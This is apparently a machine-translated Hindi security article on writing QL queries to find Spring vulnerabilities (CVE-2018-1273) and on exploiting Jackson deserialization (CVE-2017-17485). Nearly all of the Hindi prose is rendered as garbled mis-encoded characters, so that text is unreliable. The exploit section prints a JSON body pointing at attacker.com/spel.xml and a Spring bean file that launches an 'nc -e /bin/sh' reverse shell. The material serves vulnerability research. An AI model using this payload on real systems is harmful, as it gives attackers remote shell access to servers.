рддреЛ, CVE рднреЗрджреНрдпрддрд╛ 2018-1273 рдХреЛ рдЦреЛрдЬрдиреЗ рдХреЗ рд▓рд┐рдП рдХреНрдпрд╛ рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ?
рдкреНрд░реЛрдЬреЗрдХреНрдЯ рдЗрдореЗрдЬ рдкреНрд░рд╛рдкреНрдд рдФрд░ рдХрдиреЗрдХреНрдЯ рд╣реЛрдиреЗ рдХреЗ рдмрд╛рдж, рд╣рдо рдЙрд╕ рдХреЙрд▓ рдЯреНрд░реА рдХрд╛ рд╡рд░реНрдгрди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП QL рдХрдВрд╕реЛрд▓ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реИрдВ рдЬреЛ рд╣рдореЗрдВ рд░реБрдЪрд┐рдХрд░ рдмрдирд╛рддрд╛ рд╣реИред рдРрд╕рд╛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП:
рд╣рдо рдЕрднрд┐рд╡реНрдпрдХреНрддрд┐ рдкрд╛рд░реНрд╕рд░ рд╡рд░реНрдЧ рдХрд╛ рд╡рд░реНрдгрди рдХрд░рддреЗ рд╣реИрдВ:


 class ExpressionParser extends RefType { ExpressionParser() { this.hasQualifiedName("org.springframework.expression", "ExpressionParser") } } 

рдФрд░ рдЕрднрд┐рд╡реНрдпрдХреНрддрд┐ рдХреЗ рд▓рд┐рдП рдЗрд╕реНрддреЗрдорд╛рд▓ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдХрд┐ рддрд░реАрдХреЗ рдЕрднрд┐рд╡реНрдпрдХреНрддрд┐ рд╡рд░реНрдЧ:


 class ParseExpression extends MethodAccess { ParseExpression() { exists (Method m | (m.getName().matches("parse%") or m.hasName("doParseExpression")) and this.getMethod() = m ) } } 

рдЕрдм рдЖрдкрдХреЛ рдЗрди рд╡рд┐рд╡рд░рдгреЛрдВ рдХреЛ рдПрдХ рджреВрд╕рд░реЗ рд╕реЗ рдЬреЛрдбрд╝рдиреЗ рдФрд░ рдЪрдпрди рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ:


 from ParseExpression expr where (expr.getQualifier().getType().(RefType).getASupertype*() instanceof ExpressionParser) select expr 

рдРрд╕реА рдХреНрд╡реЗрд░реА рдкрд╛рд░реНрд╕ рдХреЗ рд╕рд╛рде рдпрд╛ doParseExpression рдирд╛рдо рдХреЗ рд╕рд╛рде рд╢реБрд░реВ рд╣реЛрдиреЗ рд╡рд╛рд▓реЗ рд╕рднреА рддрд░реАрдХреЛрдВ рдХреЛ рд╡рд╛рдкрд╕ рдХрд░ рджреЗрдЧреА рдЬреЛ рдПрдХреНрд╕рдкреНрд░реЗрд╢рди рдкреЗрдкрд░ рдХреНрд▓рд╛рд╕ рд╕реЗ рд╕рдВрдмрдВрдзрд┐рдд рд╣реЛрдЧреАред рд▓реЗрдХрд┐рди рдпрд╣ рдмрд╣реБрдд рдЬреНрдпрд╛рджрд╛ рд╣реИ, рдЖрдк рдХрд╣рддреЗ рд╣реИрдВ, рдФрд░ рдЖрдк рд╕рд╣реА рд╣реЛрдВрдЧреЗред рдПрдХ рдлрд┐рд▓реНрдЯрд░ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИред


рдХреНрдпреЛрдВрдХрд┐ рдХреЛрдб рдореЗрдВ рдлреЙрд░реНрдо рдХреА рдПрдХ рдЯрд┐рдкреНрдкрдгреА рд╣реИ:


 * Converts a patch path to an {@link Expression}. * * @param path the patch path to convert. 

рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдЬрд╛рд╡рд╛рджреЛрдХ рдореЗрдВ "рдкрде" рдХреА рдЦреЛрдЬ рд╣реЛ рд╕рдХрддреА рд╣реИред рд╡рд╕рдВрдд рд╕рдВрд╣рд┐рддрд╛ рдЕрдкрдиреЗ рдХреЛрдб рдореЗрдВ рдПрдХ рдмрд╣реБрдд рд╣реА рдЙрдЪреНрдЪ рдЧреБрдгрд╡рддреНрддрд╛ рдореЗрдВ, рдФрд░ рд╣рдо рдЖрд╡рд╢реНрдпрдХ рдЯрд┐рдкреНрдкрдгреА рдХреЗ рд╕рд╛рде рд╡рд┐рдзрд┐ рдХреЙрд▓ рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВ, рдФрд░ рдПрдХ рд╣реА рд╕рдордп рдореЗрдВ рдЙрди рд╕рднреА рддрд░реАрдХреЛрдВ рдХреЛ рд╣рдЯрд╛ рд╕рдХрддреЗ рд╣реИрдВ рдЬреЛ рдкрд░реАрдХреНрд╖рдгреЛрдВ рдореЗрдВ рд╢рд╛рдорд┐рд▓ рд╣реИрдВред рдпрд╣ рд╕рдм рдЗрд╕ рдкреНрд░рдХрд╛рд░ рд╡рд░реНрдгрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ:


 class CallHasPath extends Callable { CallHasPath() { not this.getDeclaringType() instanceof TestClass and ( this.getDoc().getJavadoc() instanceof DocHasPath or this.getDeclaringType().getDoc().getJavadoc() instanceof DocHasPath ) } } 

рдлрд┐рд░, Javadoc рджреНрд╡рд╛рд░рд╛ рд╡рд░реНрдЧ, рд╡рд┐рдзрд┐рдпреЛрдВ рдФрд░ рдлрд╝рд┐рд▓реНрдЯрд░ рдХреЛ рд╕рдВрдпреЛрдЬрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдЪрдпрди рдХреЗ рд▓рд┐рдП рдХреНрд╡реЗрд░реА рдирд┐рдореНрди рд░реВрдк рд▓реЗрдЧреА:


 from ParseExpression expr, CallHasPath c where (expr.getQualifier().getType().(RefType).getASupertype*() instanceof ExpressionParser and c = expr.getEnclosingCallable()) select expr, c 

рдпрд╣ рдЙрджрд╛рд╣рд░рдг рд╕рд░рд▓ рдорд╛рдирд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдФрд░, рд╕рд╛рдорд╛рдиреНрдп рд░реВрдк рд╕реЗ, рдПрдХ рд╡рд┐рд╢рд┐рд╖реНрдЯ рднреЗрджреНрдпрддрд╛ рдХреА рдЦреЛрдЬ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЕрдирд╛рд╡рд╢реНрдпрдХред рдмрд╣реБрдд рдЕрдзрд┐рдХ рджрд┐рд▓рдЪрд╕реНрдк рд╣реИ рдлрд┐рдХреНрд╕ рд▓рд┐рдЦрддреЗ рд╕рдордп рддреНрд░реБрдЯрд┐рдпреЛрдВ рдХреА рдЦреЛрдЬ рдЗрд╕рдореЗрдВ, рдЖрдкрдХреЛ рдХрдХреНрд╖рд╛ рдХреЛ рд╕реНрд╡рдпрдВ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ, рдЬреЛ рдЬрд╛рдБрдЪ рдХреЗ рд▓рд┐рдП рдЬрд┐рдореНрдореЗрджрд╛рд░ рд╣реИ, рд╡реЗ рд╡рд┐рдзрд┐рдпрд╛рдБ рдЬреЛ рд╣рдореЗрд╢рд╛ рдЗрд╕реЗ рдХреЙрд▓ рдХрд░рддреА рд╣реИрдВ рдФрд░ рдЬрд┐рдиреНрд╣реЗрдВ рдЬрд╛рдБрдЪрдиреЗ рд╕реЗ рдкрд╣рд▓реЗ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред


рд╡рд┐рдзрд┐ рдХреЗ рд▓рд┐рдП рдПрдХ рдХреЙрд▓ рдЬрд┐рд╕реЗ рд╣рдореЗрд╢рд╛ рд╕рддреНрдпрд╛рдкрдирдкрд╛рда рдХрд╣рддреЗ рд╣реИрдВ:


 class VerifyPathCallerAccess extends MethodAccess { VerifyPathCallerAccess() { exists(VerifyPathActionConf conf | conf.callAlwaysPerformsAction(this) ) or this.getMethod() instanceof VerifyPath } } 

рд╕рддреНрдпрд╛рдкрдирдкрд╛рда рд╕реЗ рдкрд╣рд▓реЗ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдПрдХ рд╡рд┐рдзрд┐ рдХреЗ рд▓рд┐рдП рдПрдХ рдХреЙрд▓:


 class UnsafeEvaluateCall extends MethodAccess { UnsafeEvaluateCall() { ( this.getMethod() instanceof Evaluate or exists(UnsafeEvaluateCall unsafe | this.getMethod() = unsafe.getEnclosingCallable() ) ) and not exists(VerifyPathCallerAccess verify | dominates(verify, this) ) } } 

рдПрдХ рдФрд░ рджрд┐рд▓рдЪрд╕реНрдк рднреЗрджреНрдпрддрд╛ рдкрд░ рд╡рд┐рдЪрд╛рд░ рдХрд░реЗрдВред рдЙрд╕рдХреА рд╕рдордЭ рдмрд╣реБрдд рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реИ, рдХреНрдпреЛрдВрдХрд┐ рдпрд╣ рджрд░реНрд╢рд╛рддрд╛ рд╣реИ рдХрд┐ рддреНрд░реБрдЯрд┐ рддреГрддреАрдп-рдкрдХреНрд╖ рд▓рд╛рдЗрдмреНрд░реЗрд░реА рдореЗрдВ рд╣реЛ рд╕рдХрддреА рд╣реИ, рдФрд░ рдпрд╣ рджрд░реНрд╢рд╛рддрд╛ рд╣реИ рдХрд┐ XML рдПрдиреЛрдЯреЗрдЯ рдмреАрдиреНрд╕ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХреИрд╕реЗ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред


рдЬреИрдХреНрд╕рди рдФрд░ рдмреАрди


CVE-2017-17485 FileSystemXmlApplicationContext рдХреЗ рдЙрдкрдпреЛрдЧ рдкрд░ рдЖрдзрд╛рд░рд┐рдд рд╣реИ - рдпрд╣ XML рдХреЗ рд░реВрдк рдореЗрдВ рдПрдХ рд╕реНрдЯреИрдВрдб-рдЕрд▓реЛрди рдЕрдиреБрдкреНрд░рдпреЛрдЧ рд╕рдВрджрд░реНрдн рд╣реИ, рдЬреЛ рдлрд╝рд╛рдЗрд▓ рд╕рд┐рд╕реНрдЯрдо рд╕реЗ рдпрд╛ URL рд╕реЗ рд╕рдВрджрд░реНрдн рдкрд░рд┐рднрд╛рд╖рд╛ рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЛ рдкреНрд░рд╛рдкреНрдд рдХрд░рддрд╛ рд╣реИред


рдкреНрд░рд▓реЗрдЦрди рдХреЗ рдЕрдиреБрд╕рд╛рд░, рдпрд╣ рдЖрдкрдХреЛ рдПрдХ рдлрд╝рд╛рдЗрд▓ рд╕реЗ рдмреАрдиреНрд╕ рдХреЛ рд▓реЛрдб рдХрд░рдиреЗ рдФрд░ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рд╕рдВрджрд░реНрдн рдХреЛ рдлрд┐рд░ рд╕реЗ рд▓реЛрдб рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред
"" рдПрдХ рдирдИ FileSystemXmlApplicationContext рдмрдирд╛рдПрдБ, рджрд┐рдП рдЧрдП XML рдлрд╝рд╛рдЗрд▓реЛрдВ рд╕реЗ рдкрд░рд┐рднрд╛рд╖рд╛рдУрдВ рдХреЛ рд▓реЛрдб рдХрд░рдирд╛ рдФрд░ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ рд╕рдВрджрд░реНрдн рдХреЛ рддрд╛рдЬрд╝рд╛ рдХрд░рдирд╛ "


рдЬреИрдХреНрд╕рди рдПрдХ рдкреБрд╕реНрддрдХрд╛рд▓рдп рд╣реИ рдЬреЛ рдЖрдкрдХреЛ рдЙрди рдмреНрд▓реИрдХ рд▓рд┐рд╕реНрдЯреЗрдб рдХреЛ рдЫреЛрдбрд╝рдХрд░ рдХрд┐рд╕реА рднреА рдСрдмреНрдЬреЗрдХреНрдЯ рдХреЛ рдХреНрд░рдордмрджреНрдз рдФрд░ рдбрд┐рд╕реНрдХреНрд░рд╛рдЗрдм рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред рдЗрд╕ рдЕрд╡рд╕рд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдЕрдХреНрд╕рд░ рд╣рдорд▓рд╛рд╡рд░реЛрдВ рджреНрд╡рд╛рд░рд╛ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдЗрд╕ рднреЗрджреНрдпрддрд╛ рдХреЗ рдорд╛рдорд▓реЗ рдореЗрдВ, рд╣рдорд▓рд╛рд╡рд░ рдХреЛ org.springframework.context.support.FileSystemXmlApplicationContext рдСрдмреНрдЬреЗрдХреНрдЯ рдХреЛ рдкрд╛рд╕ рдХрд░рдирд╛ рдкрдбрд╝рддрд╛ рд╣реИ рдЬрд┐рд╕рдореЗрдВ рд╣рдорд▓рд╛рд╡рд░ рджреНрд╡рд╛рд░рд╛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдлрд╝рд╛рдЗрд▓ рдХреЗ рд▓рд┐рдП рдкрде рд╣реЛрддрд╛ рд╣реИред


рдпрд╛рдиреА рдЕрдиреБрд░реЛрдз рдирд┐рдХрд╛рдп рдореЗрдВ рдЖрдк рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд JSON рдкрд╛рд╕ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:


 {"id":123, "obj": ["org.springframework.context.support.FileSystemXmlApplicationContext", "https://attacker.com/spel.xml"]} 

Spel.xml рдореЗрдВ рдмрд┐рди рдкреИрд░рд╛рдореАрдЯрд░ рд╣реЛрдВрдЧреЗ:


 <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"> <bean id="pb" class="java.lang.ProcessBuilder"> <constructor-arg> <list value-type="java.lang.String" > <value>nc</value> <value>XXXX</value> <value>9999</value> <value>-e</value> <value>/bin/sh</value> </list> </constructor-arg> <property name="whatever" value="#{pb.start()}"/> </bean> </beans> 

рдХреНрдпреЛрдВрдХрд┐ рдЪреВрдВрдХрд┐ рд╣рдордиреЗ рдмреАрди рдХреНрд▓рд╛рд╕ java.lang.ProcessBuilder рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рд╣реИ, рдЬрд┐рд╕рдореЗрдВ рдПрдХ рдЖрд░рдВрдн рд╡рд┐рдзрд┐ рд╣реИ, рд╕рдВрджрд░реНрдн рдХреЛ рдлрд┐рд░ рд╕реЗ рд▓реЛрдб рдХрд░рдиреЗ рдХреЗ рдмрд╛рдж, рд╕реНрдкреНрд░рд┐рдВрдЧ рд╕реНрдкреЗрд▓ рдЧреБрдг рд╕реЗ рдкреНрд░реЛрд╕реЗрд╕рдмреНрдпреВрд╕реНрдЯрд▓ рд╢реБрд░реВ рдХрд░рдиреЗ рд╡рд╛рд▓реЗ рдЕрднрд┐рд╡реНрдпрдХреНрддрд┐ рдХреЛ рдкрдврд╝рддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рд╕рд░реНрд╡рд░ рдХреЛ рдПрдирд╕реА рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╣рдорд╕реЗ рдХрдиреЗрдХреНрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдордЬрдмреВрд░ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред


рдпрд╣ рдЙрджрд╛рд╣рд░рдг рдХреЗ рд░реВрдк рдореЗрдВ рджрд┐рдП рдЧрдП spel.xml рдкрд░ рдзреНрдпрд╛рди рджреЗрдиреЗ рдпреЛрдЧреНрдп рд╣реИ, рдЬреИрд╕рд╛ рдХрд┐ рдпрд╣ рджрд┐рдЦрд╛рддрд╛ рд╣реИ рдХрд┐ рдХрдорд╛рдВрдб рдЪрд▓рд╛рддреЗ рд╕рдордп рдкреИрд░рд╛рдореАрдЯрд░ рдХреИрд╕реЗ рдкрд╛рд╕ рдХрд░реЗрдВред


рдФрд░ рдХрд┐рд╕ рддрд░реАрдХреЗ рд╕реЗ рд╣рдо рдЕрдкрдиреЗ рдмреАрди рдХреЛ рд▓реЛрдб рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдпрд╛ рд╕рдВрджрд░реНрдн рдХреЛ рдлрд┐рд░ рд╕реЗ рд▓реЛрдб рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ?


рд╕реНрдкреНрд░рд┐рдВрдЧ рдбреЙрдХреНрдпреВрдореЗрдВрдЯреЗрд╢рди рдкрд░ рдПрдХ рддреНрд╡рд░рд┐рдд рдирдЬрд╝рд░ рдбрд╛рд▓рдиреЗ рдкрд░ рднреА, рдЖрдк рдХреБрдЫ рдФрд░ рдХрдХреНрд╖рд╛рдПрдВ рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВ рдЬреЛ рд╣рдорд╛рд░реЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧреА рд╣реЛ рд╕рдХрддреА рд╣реИрдВред


ClassPathXmlApplicationContext рдФрд░ AbstractXmlApplicationContext рдлрд╛рдЗрд▓рд╕рд┐рд╕реНрдЯрдо рдХреЗ рд╕рдорд╛рди рд╣реИрдВ, рд▓реЗрдХрд┐рди рдХреНрд▓рд╛рд╕рдкреИрде- рдФрд░ XML- рдПрдиреЛрдЯреЗрдЯ рдмреАрдиреНрд╕ рдХреНрд░рдорд╢рдГ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдХреЗ рд▓рд┐рдП рдкрде рдХреЗ рд░реВрдк рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЬрд╛рддреЗ рд╣реИрдВред


рд╕рдВрджрд░реНрдн рдХреЛ рдлрд┐рд░ рд╕реЗ рд▓реЛрдб рдХрд░рдиреЗ рд╕реЗ рд╕рдВрдмрдВрдзрд┐рдд рдПрдХ рдФрд░ рджрд┐рд▓рдЪрд╕реНрдк рдмрд┐рдВрджреБ рд╣реИ - @RefreshScopeред


@RefreshScope рдХреЗ рд╕рд╛рде рдПрдиреЛрдЯреЗрдЯ рдХрд┐рдП рдЧрдП рдХрд┐рд╕реА рднреА рд╕реНрдкреНрд░рд┐рдВрдЧ рдмреАрди рдХреЛ рд▓реЙрдиреНрдЪ рдХреЗ рд╕рдордп рдЕрдкрдбреЗрдЯ рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ред рдФрд░ рд╕рднреА рдШрдЯрдХ рдЬреЛ рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реИрдВ, рдЕрдЧрд▓реА рдмрд╛рд░ рд╡рд┐рдзрд┐ рдХреЛ рдХреЙрд▓ рдХрд░рдиреЗ рдкрд░ рдПрдХ рдирдИ рд╡рд╕реНрддреБ рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВрдЧреЗ, рдЙрдиреНрд╣реЗрдВ рдкреВрд░реА рддрд░рд╣ рд╕реЗ рдЖрд░рдВрдн рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ рдФрд░ рдирд┐рд░реНрднрд░ рдХрд░реЗрдЧрд╛ред


RefreshScope рд╕рдВрджрд░реНрдн рдореЗрдВ рдПрдХ рдШрдЯрдХ рд╣реИ, рдФрд░ рдЗрд╕рдореЗрдВ рдПрдХ рд╕рд╛рд░реНрд╡рдЬрдирд┐рдХ рд░рд┐рдлреНрд░реЗрд╢ рд╣реИ, рдЬреЛ рд▓рдХреНрд╖рд┐рдд рдХреИрд╢ рдХреЛ рд╕рд╛рдлрд╝ рдХрд░рдХреЗ рд╕рднреА рдШрдЯрдХреЛрдВ рдХреЛ рдПрдХ рдХреНрд╖реЗрддреНрд░ рдореЗрдВ рдЕрджреНрдпрддрди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдбрд┐рдЬрд╝рд╛рдЗрди рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред рдЗрд╕рд▓рд┐рдП, @RefreshScope рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╕рдордп, рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ URL рдХреЛ рд╕рдорд╛рдкреНрдд / рддрд╛рдЬрд╝рд╛ рдХрд░ рд╕рдХрддрд╛ рд╣реИ, рдФрд░ рдЗрд╕ рддрд░рд╣ рдПрдиреЛрдЯреЗрдЯ рдХрд┐рдП рдЧрдП рд╕реЗрдо рдХреЛ рдлрд┐рд░ рд╕реЗ рд▓реЛрдб рдХрд░ рд╕рдХрддрд╛ рд╣реИред


рдЕрдиреНрдп рдЙрдкрдпреЛрдЧрд┐рддрд╛рдУрдВ


рдХрдИ рдЕрдиреНрдп рдкреНрд▓рдЧрдЗрдиреНрд╕ рдФрд░ рдкреНрд░реЛрдЧреНрд░рд╛рдо рд╣реИрдВ рдЬреЛ рдЖрдкрдХреЛ рдХреЛрдб рдХрд╛ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХрд░рдиреЗ рдФрд░ рднреЗрджреНрдпрддрд╛ рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреЗ рд╣реИрдВред


  • Jprofiler - рдПрдХ рдЕрд▓рдЧ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЗ рд░реВрдк рдореЗрдВ рд╕реНрдерд╛рдкрд┐рдд рд╣реИ - рдЖрдИрдбреАрдИ рдХреЗ рд▓рд┐рдП рд╕рд░реНрд╡рд░ рдФрд░ рдкреНрд▓рдЧрдЗрдиред рдЖрдкрдХреЛ рдПрдХ рдЪрд▓ рд░рд╣реЗ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХрд╛ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред рд░реЗрдЦрд╛рдВрдХрди рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╡рд╕реНрддреБрдУрдВ рдХреЗ рд╡реНрдпрд╡рд╣рд╛рд░ рдХрд╛ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХрд░рдирд╛ рдмрд╣реБрдд рд╕реБрд╡рд┐рдзрд╛рдЬрдирдХ рд╣реИред


рдХреЗ рд▓рд┐рдП - рднреБрдЧрддрд╛рди рдХрд┐рдпрд╛ рд╣реИ, рд▓реЗрдХрд┐рди 10 рджрд┐рдиреЛрдВ рдХреА рдПрдХ рдирд┐: рд╢реБрд▓реНрдХ рдЕрд╡рдзрд┐ рд╣реИред рдпрд╣ рдХреЗрд╡рд▓ рд╕реБрд░рдХреНрд╖рд╛ рдХреЗ рджреГрд╖реНрдЯрд┐рдХреЛрдг рд╕реЗ рд╣реА рдирд╣реАрдВ рдмрд▓реНрдХрд┐ рдЕрдиреБрдкреНрд░рдпреЛрдЧ рд╡реНрдпрд╡рд╣рд╛рд░ рдХреЗ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХреЗ рд▓рд┐рдП рд╕рд░реНрд╡реЛрддреНрддрдо рдЙрдкрдпреЛрдЧрд┐рддрд╛рдУрдВ рдореЗрдВ рд╕реЗ рдПрдХ рдорд╛рдирд╛ рдЬрд╛рддрд╛ рд╣реИред


  • рдПрдХреНрд╕рд░реЗрдмреЗрд▓ - рднреБрдЧрддрд╛рди рдХрд┐рдпрд╛ рдЧрдпрд╛, рд╣рдореЗрдВ рдкрд░реАрдХреНрд╖рдг рдЕрд╡рдзрд┐ рдХреА рд╕рдВрднрд╛рд╡рдирд╛ рдирд╣реАрдВ рдорд┐рд▓реАред рд▓реЗрдХрд┐рди рд╕рд░реНрд╡рд╢реНрд░реЗрд╖реНрда рдореЗрдВ рд╕реЗ рдПрдХ рднреА рдорд╛рдирд╛ рдЬрд╛рддрд╛ рд╣реИред
  • рдХрд╡рд░реЗрдЬ - рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХреЗ рд▓рд┐рдП рдЕрдкрдиреЗ рд╕реНрд╡рдпрдВ рдХреЗ рд╕рд░реНрд╡рд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ, рдЗрд╕рд▓рд┐рдП рдпрд╣ рдХреЗрд╡рд▓ рдЙрди рд▓реЛрдЧреЛрдВ рдХреЗ рд▓рд┐рдП рд╕реБрд╡рд┐рдзрд╛рдЬрдирдХ рд╣реИ рдЬреЛ рдЕрдкрдиреЗ рдХреЛрдб рдХреЛ рдмрд╛рд╣рд░ рдХрд░рдиреЗ рд╕реЗ рдбрд░рддреЗ рдирд╣реАрдВ рд╣реИрдВред
  • рдЪреЗрдХрдорд╛рд░рдХреНрд╕ - рдмрд╣реБрдд рдкреНрд░рд╕рд┐рджреНрдз, рднреБрдЧрддрд╛рди рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рдХрдИ рднрд╛рд╖рд╛рдУрдВ рдХреЛ рдЬрд╛рдирддрд╛ рд╣реИ рдФрд░ рдмрд╣реБрдд рд╕рд╛рд░реЗ рдЭреВрдареЗ рд╕рдХрд╛рд░рд╛рддреНрдордХрддрд╛ рдХреЛ рджрд░реНрд╢рд╛рддрд╛ рд╣реИред рд▓реЗрдХрд┐рди рдЙрд╕ рдЬрдЧрд╣ рдХреА рдУрд░ рдЗрд╢рд╛рд░рд╛ рдХрд░рдирд╛ рдмреЗрд╣рддрд░ рд╣реИ рдЬрд╣рд╛рдВ рд╕рд┐рджреНрдзрд╛рдВрдд рдХреА рдЧрд▓рддреА рд╕реЗ рд╡рд╛рд╕реНрддрд╡рд┐рдХ рдЧрд▓рддреА рдпрд╛рдж рдЖрддреА рд╣реИред
  • OWASP рдирд┐рд░реНрднрд░рддрд╛ рдХреА рдЬрд╛рдБрдЪ - рд╡рд┐рднрд┐рдиреНрди рдмрд┐рд▓реНрдбрд░реЛрдВ рдХреЗ рд▓рд┐рдП рдПрдХ рд╕реБрд╡рд┐рдзрд╛рдЬрдирдХ рдкреНрд▓рдЧ-рдЗрди рдХреЗ рд░реВрдк рдореЗрдВ рдкреНрд░рджрд╛рди рдХреА рдЬрд╛рддреА рд╣реИред рдЬрд╛рд╡рд╛ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХрд╛ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХрд░рддреЗ рд╕рдордп рд╣рдо рдорд╛рд╡реЗрди рдФрд░ рдПрдВрдЯ рдХреЗ рд▓рд┐рдП рдЗрд╕рдХрд╛ рдкрд░реАрдХреНрд╖рдг рдХрд░рдиреЗ рдореЗрдВ рдХрд╛рдордпрд╛рдм рд░рд╣реЗред рд╕рд╛рде рд╣реА .Net рдХрд╛ рд╕рдорд░реНрдерди рдХрд░рддрд╛ рд╣реИред рдХрд╛рд░реНрдп рдХреЗ рдкрд░рд┐рдгрд╛рдореЛрдВ рдХреЗ рдЕрдиреБрд╕рд╛рд░, рдпрд╣ рдЕрдкреНрд░рдЪрд▓рд┐рдд рдкреБрд╕реНрддрдХрд╛рд▓рдпреЛрдВ рдФрд░ рдЙрдирдХреЗ рд▓рд┐рдП рдЬреНрдЮрд╛рдд рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреЛ рдЗрдВрдЧрд┐рдд рдХрд░рддреЗ рд╣реБрдП рдПрдХ рд╕реБрд╡рд┐рдзрд╛рдЬрдирдХ рд░рд┐рдкреЛрд░реНрдЯ рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИред
  • рдлрд╛рдЗрдВрдбрдмрдЧреНрд╕ - рдпрд╣ рдкрд╣рд▓реЗ рд╕реЗ рд╣реА рдкрд╣рд▓реЗ рд╣реА рдЙрд▓реНрд▓реЗрдЦ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ред рдЗрд╕рдХреЗ рдХрдИ рдХрд╛рд░реНрдпрд╛рдиреНрд╡рдпрди рд╣реИрдВ, рд▓реЗрдХрд┐рди рдЦреЛрдЬрдмрдЧреНрд╕_рдХрд▓реА рд╡рд┐рдХрд▓реНрдк рд╕рдмрд╕реЗ рд╕реБрд╡рд┐рдзрд╛рдЬрдирдХ рдФрд░ рдХрд┐рд╕реА рдХрд╛рд░рдг рд╕реЗ рдЕрдзрд┐рдХ рд╕рдорд╕реНрдпрд╛рдПрдВ рджрд┐рдЦрд╛ рд░рд╣рд╛ рд╣реИред рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдЗрд╕ рдкреНрд░рдХрд╛рд░ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ:
     findsecbugs.bat -progress -html -output report_name.htm "path\example.jar" 
